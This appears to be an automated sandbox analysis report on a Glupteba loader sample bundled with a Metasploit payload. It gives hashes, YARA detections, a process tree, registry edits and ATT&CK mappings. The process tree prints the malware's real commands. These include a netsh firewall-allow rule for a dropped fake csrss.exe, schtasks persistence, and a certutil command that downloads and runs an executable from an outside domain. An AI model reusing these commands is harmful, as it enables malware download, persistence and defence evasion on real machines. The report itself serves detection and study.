glupteba | b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3

General

Target

b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe
Size

3.8MB
MD5

70458756d498f9fb5e724ed3ebd3ddf5
SHA1

a1c525f7a312e74950c2c00e87006e46aaf9d4a0
SHA256

b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3
SHA512

87ea85ee5e58c6c2ff28256f2b5a47ecfe21f4209630b1683ccd21c45a0bf38c26508bfbd8fb02d0c3a958ea6c1e19da58b54e27c3cf3fc68de79646b214c401
SSDEEP

98304:MfcPXi4rTNExqZ9BZUnr4wpZBPczsttE8r7MWNaJY80:qmS4gqZ9vUnr4g5b7MQYY

Score

10^/10

glupteba metasploit backdoor discovery dropper evasion loader persistence trojan

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 8 IoCs

Processes:

resource	yara_rule
behavioral2/memory/3120-133-0x00000000016B0000-0x0000000001EB4000-memory.dmp	family_glupteba
behavioral2/memory/3120-134-0x0000000000400000-0x0000000000C65000-memory.dmp	family_glupteba
behavioral2/memory/3120-137-0x0000000000400000-0x0000000000C65000-memory.dmp	family_glupteba
behavioral2/memory/3812-139-0x0000000000400000-0x0000000000C65000-memory.dmp	family_glupteba
behavioral2/memory/3812-145-0x0000000000400000-0x0000000000C65000-memory.dmp	family_glupteba
behavioral2/memory/2440-147-0x0000000001A00000-0x0000000002204000-memory.dmp	family_glupteba
behavioral2/memory/2440-148-0x0000000000400000-0x0000000000C65000-memory.dmp	family_glupteba
behavioral2/memory/2440-154-0x0000000000400000-0x0000000000C65000-memory.dmp	family_glupteba

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

Processes:

svchost.exe

description	pid	process	target process
PID 4104 created 3120	4104	svchost.exe	b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe
PID 4104 created 2440	4104	svchost.exe	csrss.exe
PID 4104 created 2440	4104	svchost.exe	csrss.exe
PID 4104 created 2440	4104	svchost.exe	csrss.exe

Executes dropped EXE 2 IoCs

Processes:

csrss.exepatch.exe

pid process

2440 csrss.exe
2340 patch.exe
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exe

pid process

4756 netsh.exe

pid	process
2440	csrss.exe
2340	patch.exe

pid	process
4756	netsh.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\LivelyMeadow = "\"C:\\Windows\\rss\\csrss.exe\""	b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Modifies boot configuration data using bcdedit 1 IoCs

Processes:

bcdedit.exe

pid process

4680 bcdedit.exe

pid	process
4680	bcdedit.exe

Drops file in Windows directory 2 IoCs

Processes:

b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe

description	ioc	process
File opened for modification	C:\Windows\rss	b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe
File created	C:\Windows\rss\csrss.exe	b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe

Program crash 2 IoCs

Processes:

WerFault.exeWerFault.exe

pid	pid_target	process	target process
392	3120	WerFault.exe	b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe
1644	3812	WerFault.exe	b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

1100 schtasks.exe
2744 schtasks.exe

pid	process
1100	schtasks.exe
2744	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

csrss.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1041 = "Ulaanbaatar Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2512 = "Lord Howe Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1661 = "Bahia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-341 = "Egypt Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2411 = "Marquesas Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1872 = "Russia TZ 7 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2942 = "Sao Tome Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2492 = "Aus Central W. Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-451 = "Caucasus Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-892 = "Morocco Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-301 = "Romance Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-561 = "SE Asia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-3141 = "South Sudan Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-842 = "Argentina Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-81 = "Atlantic Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2631 = "Norfolk Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-562 = "SE Asia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-3142 = "South Sudan Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2371 = "Easter Island Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-912 = "Mauritius Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2891 = "Sudan Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-11 = "Azores Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2531 = "Chatham Islands Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2751 = "Tomsk Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2632 = "Norfolk Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2841 = "Saratov Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2532 = "Chatham Islands Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-342 = "Egypt Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time"	csrss.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exeb47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.execsrss.exe

pid	process
3120	b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe
3120	b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe
3812	b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe
3812	b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe
2440	csrss.exe
2440	csrss.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

Processes:

b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exesvchost.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	3120	b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe
Token: SeImpersonatePrivilege	3120	b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe
Token: SeTcbPrivilege	4104	svchost.exe
Token: SeTcbPrivilege	4104	svchost.exe
Token: SeBackupPrivilege	4104	svchost.exe
Token: SeRestorePrivilege	4104	svchost.exe
Token: SeBackupPrivilege	4104	svchost.exe
Token: SeRestorePrivilege	4104	svchost.exe
Token: SeSystemEnvironmentPrivilege	2440	csrss.exe
Token: SeBackupPrivilege	4104	svchost.exe
Token: SeRestorePrivilege	4104	svchost.exe
Token: SeBackupPrivilege	4104	svchost.exe
Token: SeRestorePrivilege	4104	svchost.exe
Token: SeBackupPrivilege	4104	svchost.exe
Token: SeRestorePrivilege	4104	svchost.exe
Token: SeBackupPrivilege	4104	svchost.exe
Token: SeRestorePrivilege	4104	svchost.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

svchost.exeb47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.execmd.execsrss.exe

description	pid	process	target process
PID 4104 wrote to memory of 3812	4104	svchost.exe	b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe
PID 4104 wrote to memory of 3812	4104	svchost.exe	b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe
PID 4104 wrote to memory of 3812	4104	svchost.exe	b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe
PID 3812 wrote to memory of 3784	3812	b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe	cmd.exe
PID 3812 wrote to memory of 3784	3812	b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe	cmd.exe
PID 3784 wrote to memory of 4756	3784	cmd.exe	netsh.exe
PID 3784 wrote to memory of 4756	3784	cmd.exe	netsh.exe
PID 3812 wrote to memory of 2440	3812	b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe	csrss.exe
PID 3812 wrote to memory of 2440	3812	b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe	csrss.exe
PID 3812 wrote to memory of 2440	3812	b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe	csrss.exe
PID 4104 wrote to memory of 2744	4104	svchost.exe	schtasks.exe
PID 4104 wrote to memory of 2744	4104	svchost.exe	schtasks.exe
PID 4104 wrote to memory of 1100	4104	svchost.exe	schtasks.exe
PID 4104 wrote to memory of 1100	4104	svchost.exe	schtasks.exe
PID 4104 wrote to memory of 2340	4104	svchost.exe	patch.exe
PID 4104 wrote to memory of 2340	4104	svchost.exe	patch.exe
PID 2440 wrote to memory of 4680	2440	csrss.exe	bcdedit.exe
PID 2440 wrote to memory of 4680	2440	csrss.exe	bcdedit.exe

C:\Users\Admin\AppData\Local\Temp\b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe
"C:\Users\Admin\AppData\Local\Temp\b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3120

C:\Users\Admin\AppData\Local\Temp\b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe
"C:\Users\Admin\AppData\Local\Temp\b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe"
2⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3812

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:3784

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies Windows Firewall
PID:4756

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2440

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:2744

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:1100

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
PID:2340

C:\Windows\system32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
4⤵
- Modifies boot configuration data using bcdedit
PID:4680

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3812 -s 740
3⤵
- Program crash
PID:1644

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3120 -s 724
2⤵
- Program crash
PID:392

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4104

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 3120 -ip 3120
1⤵
PID:2132

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 3812 -ip 3812
1⤵
PID:3368

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

1

T1060

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.8MB

MD5
70458756d498f9fb5e724ed3ebd3ddf5

SHA1
a1c525f7a312e74950c2c00e87006e46aaf9d4a0

SHA256
b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3

SHA512
87ea85ee5e58c6c2ff28256f2b5a47ecfe21f4209630b1683ccd21c45a0bf38c26508bfbd8fb02d0c3a958ea6c1e19da58b54e27c3cf3fc68de79646b214c401

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.8MB

MD5
70458756d498f9fb5e724ed3ebd3ddf5

SHA1
a1c525f7a312e74950c2c00e87006e46aaf9d4a0

SHA256
b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3

SHA512
87ea85ee5e58c6c2ff28256f2b5a47ecfe21f4209630b1683ccd21c45a0bf38c26508bfbd8fb02d0c3a958ea6c1e19da58b54e27c3cf3fc68de79646b214c401

Download Submit
memory/1100-150-0x0000000000000000-mapping.dmp

Download
memory/2340-151-0x0000000000000000-mapping.dmp

Download
memory/2440-147-0x0000000001A00000-0x0000000002204000-memory.dmp

Filesize
8.0MB

Download
memory/2440-146-0x0000000001600000-0x00000000019A8000-memory.dmp

Filesize
3.7MB

Download
memory/2440-154-0x0000000000400000-0x0000000000C65000-memory.dmp

Filesize
8.4MB

Download
memory/2440-148-0x0000000000400000-0x0000000000C65000-memory.dmp

Filesize
8.4MB

Download
memory/2440-142-0x0000000000000000-mapping.dmp

Download
memory/2744-149-0x0000000000000000-mapping.dmp

Download
memory/3120-136-0x0000000001304000-0x00000000016AC000-memory.dmp

Filesize
3.7MB

Download
memory/3120-137-0x0000000000400000-0x0000000000C65000-memory.dmp

Filesize
8.4MB

Download
memory/3120-133-0x00000000016B0000-0x0000000001EB4000-memory.dmp

Filesize
8.0MB

Download
memory/3120-134-0x0000000000400000-0x0000000000C65000-memory.dmp

Filesize
8.4MB

Download
memory/3120-132-0x0000000001304000-0x00000000016AC000-memory.dmp

Filesize
3.7MB

Download
memory/3784-140-0x0000000000000000-mapping.dmp

Download
memory/3812-135-0x0000000000000000-mapping.dmp

Download
memory/3812-138-0x0000000001217000-0x00000000015BF000-memory.dmp

Filesize
3.7MB

Download
memory/3812-145-0x0000000000400000-0x0000000000C65000-memory.dmp

Filesize
8.4MB

Download
memory/3812-139-0x0000000000400000-0x0000000000C65000-memory.dmp

Filesize
8.4MB

Download
memory/4680-153-0x0000000000000000-mapping.dmp

Download
memory/4756-141-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads